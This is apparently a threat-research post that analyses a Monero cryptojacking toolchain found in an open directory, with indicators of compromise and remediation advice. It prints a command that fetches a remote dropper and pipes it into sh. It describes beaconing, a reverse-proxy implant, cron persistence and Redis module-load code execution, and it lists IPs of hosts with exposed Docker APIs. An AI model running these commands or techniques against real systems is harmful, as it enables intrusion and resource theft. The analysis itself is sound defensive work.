Cyber threats are constantly evolving, making early detection and contextual analysis essential for effective defense. A lead surfaced during routine infrastructure tracking pointed our analysts toward a single IP that warranted a closer look.
By pulling the artifacts directly and enriching each one with context — WHOIS, service fingerprinting, and static analysis of every file involved — the investigation revealed a working, multi-vector toolchain rather than an isolated indicator. Analyst validation confirmed the activity, leading to the discovery documented in this research.
A lead on a single IP was enough to pull the whole thread. A routine WHOIS lookup led to an open web directory, and the open directory turned out to be holding a full toolchain: a self-naming dropper calling itself "Pequod," a hardcoded Monero wallet, a reverse-proxy implant, a scanner built to hunt down exposed Docker APIs, and a Redis module engineered to turn MODULE LOAD into remote code execution.
A lead on a single IP — 82.197.65.206 — was enough to pull the whole thread. A routine WHOIS lookup led to an open web directory, and the open directory turned out to be holding a full toolchain: a self-naming dropper calling itself "Pequod," a hardcoded Monero wallet, a reverse-proxy implant, a scanner built to hunt down exposed Docker APIs, and a Redis module engineered to turn MODULE LOAD into remote code execution.
One IP, three payloads, and an attacker who's happy to compromise you through whichever door is open — a leaky Docker API or a misconfigured Redis instance both lead to the same wallet.
We followed the chain from the initial WHOIS lookup through the open web directory, fingerprinted every file it served, and pulled apart the Docker scanner, the dropper, and the Redis module in turn. This post walks through what we found, piece by piece.
| Stage | What happened |
|---|---|
| Reconnaissance | _docker_test.py sweeps a hardcoded list of external IPs for an exposed, unauthenticated Docker API on port 2375. |
| Initial access | An open Docker API gets payload.sh executed inside a running container via the Engine API's exec endpoint; a reachable, weakly-secured Redis instance gets rce.so loaded via MODULE LOAD instead. |
| Execution | payload.sh runs under sh / ash / bash interchangeably, waterfalling through wget → curl → busybox wget → python3 to survive minimal environments. |
| Defense evasion | The miner is throttled to 50% of available CPU threads, and the C2-side listener ports (4444, 7000) stay closed until the operator chooses to use them — both aimed at staying under casual detection. |
| Persistence | A * * * * * cron entry re-pulls and re-executes payload.sh every minute in whichever cron path is writable. |
| Impact | XMRig mines Monero to a hardcoded wallet; dialer.py opens an outbound relay to the C2 on port 4444, ready to be used as a pivot point on demand. |
| Command and control | The victim beacons its IP, hostname, and architecture to 82.197.65.206/cb before anything else runs; a second-stage payload is available at :7000/mainlx. |
Stage 1: One Host, Three Files
The campaign doesn't spread its tooling across multiple servers the way some botnets do — everything sits on a single rented VPS, served over plain HTTP:
| Host | Role | Provider |
|---|---|---|
82.197.65.206 |
Web server (80), beacon endpoint, dialer target (4444), second-stage host (7000) | Contabo GmbH (AS40021) |
A WHOIS lookup placed the host squarely inside Contabo's German hosting range, with a reverse DNS entry resolving to vmi3500746.contaboserver.net — a generic, throwaway VPS hostname typical of rented attack infrastructure rather than anything purpose-built.
An initial full-port SYN scan repeatedly failed against retransmission caps and came back "host seems down," a strong hint the box was filtering ICMP and dropping unsolicited SYNs outside a small allowlist. Scanning with -Pn against a narrow, targeted port list changed that picture entirely:
nmap -Pn -f -sS -sV -p 80,443,4444,7000 -T3 --scan-delay 500ms 82.197.65.206 — port 80 answers with Python's SimpleHTTPServer, while 443, 4444, and 7000 all read closed at scan time.
$ nmap -Pn -f -sS -sV -p 80,443,4444,7000 -T3 --scan-delay 500ms 82.197.65.206
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-12 10:35 -0400
Nmap scan report for vmi3500746.contaboserver.net (82.197.65.206)
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
80/tcp open http SimpleHTTPServer 0.6 (Python 3.12.3)
443/tcp closed https
4444/tcp closed krb524
7000/tcp closed afs3-fileserver
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 15.99 seconds
Port 80 was running Python's built-in SimpleHTTPServer — about as low-effort as C2 hosting gets, but also revealing: this isn't a hardened panel, it's a directory of files sitting on disk that a browser (or curl) can walk straight into. Ports 4444 and 7000 were closed at scan time but, as the payload analysis below shows, they're very much part of the design — just not always listening.
Walking the open directory
A plain curl against the root of the web server confirmed the hunch:
curl -v http://82.197.65.206/ — a directory listing exposing all three payloads by name.
$ curl -v http://82.197.65.206/
...
<title>Directory listing for /</title>
<li><a href="_docker_test.py">_docker_test.py</a></li>
<li><a href="payload.sh">payload.sh</a></li>
<li><a href="rce.so">rce.so</a></li>
Three files, three roles: a Docker API scanner, a dropper/miner script, and a compiled Redis module. Each was pulled down and analyzed independently.
Stage 2: The Dropper — payload.sh
| Property | Value |
|---|---|
| SHA-256 | 2a969bb538d3d2e883c73748655a0efc73de13c290bc01e2b1f8a36fdde01ff3 |
| MD5 | bf0512c8a444d9b7fc98fa4b68f7e342 |
The script identifies itself in its own header comment as "Pequod" and is written to run under sh, ash, or bash interchangeably, with no architecture assumptions beyond a uname -m check later in the miner-selection logic — clearly built to survive on whatever minimal shell a compromised container or host happens to expose.
It beacons before it does anything else
Before anything else runs, the script fires a callback to the C2 over both wget and curl in parallel, reporting the victim's IP, hostname, and architecture to a /cb endpoint — a simple but effective way for the operator to track infection volume independent of whether the rest of the payload succeeds.
Miner deployment
The script downloads a legitimate, unmodified XMRig release directly from GitHub (v6.21.0, matched to x86_64 or arm64 builds), strips out XMRig's default config.json specifically because it would otherwise override the CLI arguments, and launches it against pool.hashvault.pro:443 over TLS using a hardcoded wallet:
42AtYoii87MYL5Rn69CHTPUNb8T5pEA16akwz9GrFYk6d6ZirHnDcJDjAE3yGXo88m8zAZNw9MZZM2WysdR8
Mining is capped at 50% of available CPU threads via --cpu-max-threads-hint=50 — a deliberate throttle that keeps the host usable and less likely to trigger a resource-exhaustion alert or draw admin attention to a pegged CPU.
The reverse proxy
If no dialer.py process is already running, the script writes and launches a small embedded Python script that opens an outbound connection to the C2 on port 4444 and speaks a minimal HTTP CONNECT/proxy protocol back to it — effectively turning the victim into an on-demand relay the operator can route arbitrary traffic through once they choose to open the listener on their end. This explains why port 4444 showed closed during our scan: it's the victim that dials out, not the other way around, and the C2-side listener is only switched on when the operator wants to use it.
Persistence
The script attempts to write a * * * * * cron entry (as root) into whichever of /etc/cron.d, /var/spool/cron/crontabs, or /var/spool/cron is writable, re-pulling and re-executing payload.sh every minute — cheap, noisy persistence that assumes it's landed with enough privilege to write to system cron paths.
A second stage
The final block checks for a running mainlx process and, if absent, pulls and executes a payload from :7000/mainlx — the same port that showed closed in our scan. Like the port 4444 listener, this appears to be a stage the operator enables selectively rather than something permanently exposed.
Stage 3: The Delivery Mechanism — _docker_test.py
This file explains how payload.sh actually reaches a target in the first place. It's a short Python script, self-described in its own docstring as "Docker exploit v2," that iterates a hardcoded list of external IPs, checks each for an exposed, unauthenticated Docker API on port 2375, and — where one responds — enumerates running containers, picks one, and uses the Docker Engine API's exec endpoint to run:
(wget -qO- http://82.197.65.206/payload.sh || curl -sL http://82.197.65.206/payload.sh) | sh &
inside that container. No exploit is needed here in the traditional sense — an exposed Docker socket on 2375 with no TLS or auth is, by design, full remote code execution against every container on the host. The script simply automates finding and using it.
The hardcoded target list (192.81.211.134, 102.129.185.27, 5.78.111.219, 178.104.213.166, 45.245.218.179, 120.48.84.133, 103.112.163.92, 43.157.226.37) is worth treating as a working list of hosts already confirmed, at some point, to be running exposed Docker daemons — whether or not they belong to the same operator.
Stage 4: The Other Door In — rce.so
| Property | Value |
|---|---|
| SHA-256 | 3adf2fe6c50d0b658453892abc74f080e7aa2adef761f87a9ced593bd07119b3 |
| File type | ELF 64-bit LSB shared object, x86-64, dynamically linked, not stripped |
This one took a moment to place. It's not a generic rootkit or implant — the exported symbol table is almost entirely RedisModule_* functions, matching Redis's loadable-module API exactly, and unstripped symbols made this straightforward to confirm rather than reverse. One function stands out from the rest of the boilerplate: RCECommand_RedisCommand, alongside a dynamic dependency on system() from glibc.
This is a Redis module built for exactly one purpose: once loaded into a running Redis instance via MODULE LOAD, it registers a new command that shells out via system(), handing the attacker command execution with whatever privileges the Redis process itself runs under. It's a well-documented technique against Redis deployments that are either unauthenticated or reachable with weak/default credentials — the module-loading feature is legitimate Redis functionality being repurposed entirely by what gets loaded into it.
Detecting Exploitation vs. Background Noise
Scan volume alone is a weak triage signal — both services see constant opportunistic probing. The useful distinction is whether a session only reads server information or attempts to change state and reach beyond the protocol boundary.
| Reconnaissance | Exploitation |
|---|---|
Redis PING, INFO, COMMAND, or CLIENT |
Redis MODULE LOAD against an untrusted .so path |
Docker GET /version or GET /containers/json |
Docker POST /containers/{id}/exec followed by /start |
| Short, read-only sessions | Outbound callback to an unfamiliar IP immediately after connection |
| No server-state mutation | A .sh payload piped directly into sh/bash from a fetched URL |
| — | A new cron entry appearing outside a maintenance window |
MODULE LOAD pointed at a file served over plain HTTP from an unfamiliar host is a near-certain indicator on its own — there is essentially no legitimate operational reason to load a module from an internet-hosted, unauthenticated directory listing. The same applies to any Docker exec session that pipes a downloaded shell script straight into an interpreter.
Putting the Chain Together
- Recon —
_docker_test.pysweeps a target list for exposed Docker APIs on port 2375. - Initial access — an open Docker API gets
payload.shexecuted inside a running container via the Engine API's exec endpoint; a reachable, weakly-secured Redis instance getsrce.soloaded viaMODULE LOADinstead. - Beacon — the victim calls home to
82.197.65.206/cbwith its IP, hostname, and architecture. - Monetization — XMRig starts mining Monero against
pool.hashvault.proto the operator's wallet, throttled to half the host's CPU to stay under the radar. - Pivot capability —
dialer.pyopens an outbound relay to the C2 on port 4444, ready for the operator to route traffic through on demand. - Persistence — a cron entry re-pulls and re-runs
payload.shevery minute wherever cron paths are writable. - Optional second stage —
mainlx, served from port 7000, pulled only if not already running.
The Docker and Redis paths are separate entry points that converge on the same payload and the same wallet — this isn't two campaigns, it's one operator working both classes of misconfiguration with whatever tooling fits.
The Known Gap: An Unopened Second Stage
payload.sh checks for a running mainlx process and, if one isn't found, pulls and executes a payload from :7000/mainlx. Port 7000 was closed at scan time, and we did not observe the operator open it during the investigation window, so we were not able to retrieve or analyze that stage.
That means a fourth payload exists in the design of this campaign, but its behavior is unknown. Everything in this post describes what we directly observed and statically analyzed across payload.sh, _docker_test.py, and rce.so; it should not be read as a complete account of every capability the operator can deploy on demand. The same caveat applies to port 4444: we confirmed the outbound-dialing mechanism in dialer.py, but the C2-side listener was never observed active, so we cannot describe what the operator does with that channel once opened.
Indicators of Compromise
Network
| Indicator | Context |
|---|---|
82.197.65.206 |
C2 — web server (80), beacon endpoint, dialer target (4444), second-stage host (7000) |
82.197.65.206:4444 |
Reverse-proxy relay target for dialer.py |
82.197.65.206:7000/mainlx |
Second-stage payload endpoint (unretrieved) |
pool.hashvault.pro:443 |
Monero mining pool |
192.81.211.134, 102.129.185.27, 5.78.111.219, 178.104.213.166, 45.245.218.179, 120.48.84.133, 103.112.163.92, 43.157.226.37 |
Hosts with exposed Docker APIs, hardcoded as scan targets in _docker_test.py |
Payload hashes
payload.sh
- SHA-256:
2a969bb538d3d2e883c73748655a0efc73de13c290bc01e2b1f8a36fdde01ff3 - MD5:
bf0512c8a444d9b7fc98fa4b68f7e342
rce.so
- SHA-256:
3adf2fe6c50d0b658453892abc74f080e7aa2adef761f87a9ced593bd07119b3
Host
| Indicator | Context |
|---|---|
/tmp/.xmrig_lock |
Miner lock file |
/tmp/dialer.py |
Reverse-proxy implant |
/tmp/.pequod_ok |
Dropper marker file |
Cron entry named pequod |
In /etc/cron.d, /var/spool/cron/crontabs, or /var/spool/cron |
Other
Monero wallet:
42AtYoii87MYL5Rn69CHTPUNb8T5pEA16akwz9GrFYk6d6ZirHnDcJDjAE3yGXo88m8zAZNw9MZZM2WysdR8
What to Do About It
- Block the infrastructure.
82.197.65.206across all ports, pluspool.hashvault.pro, at the perimeter and on egress filtering. - Close exposed Docker APIs. Port 2375 should never be reachable without TLS and authentication; if you don't need remote Docker API access, don't expose it at all.
- Lock down Redis. Disable
MODULE LOADunless it's a hard operational requirement, require authentication, and bind Redis to localhost or a trusted internal interface only — never to0.0.0.0on an internet-facing host. - Hunt for the artifacts. Check for
/tmp/.xmrig_lock,/tmp/dialer.py, and/tmp/.pequod_okon Linux hosts; check running containers forxmrigordialer.pyprocesses; check cron paths for an entry namedpequod. - Watch for the beacon and relay patterns. Outbound requests to
82.197.65.206/cb, persistent connection attempts to port 4444, or requests to:7000/mainlxare all high-confidence signals. - Report upstream. The abuse contact for the Contabo netblock is
[email protected]; the IPs in the Docker scan list are plausible victims in their own right and worth notifying separately if you have a channel to do so.
If you find the host artifacts described above on a container or host you don't control, rebuild from a trusted image rather than attempting in-place cleanup — the cron entry re-pulls the dropper every minute, and a clean process list is not guaranteed once a host has been compromised through either path.
Closing Thoughts
Nothing here relies on a novel vulnerability — an open Docker socket and an unauthenticated, module-loadable Redis instance are both years-old, well-documented misconfigurations. What's notable is how cleanly the operator built one payload and one piece of infrastructure to serve both entry points, wrapped in just enough operational discipline — a CPU-usage cap on the miner, a listener that's only turned on when needed, a beacon that reports back before anything else runs — to stay under casual observation on a compromised host.
The lesson isn't a new one, but it bears repeating: neither Docker's API nor Redis's module system were built to be internet-facing without authentication, and this campaign exists entirely because, somewhere, they still are.



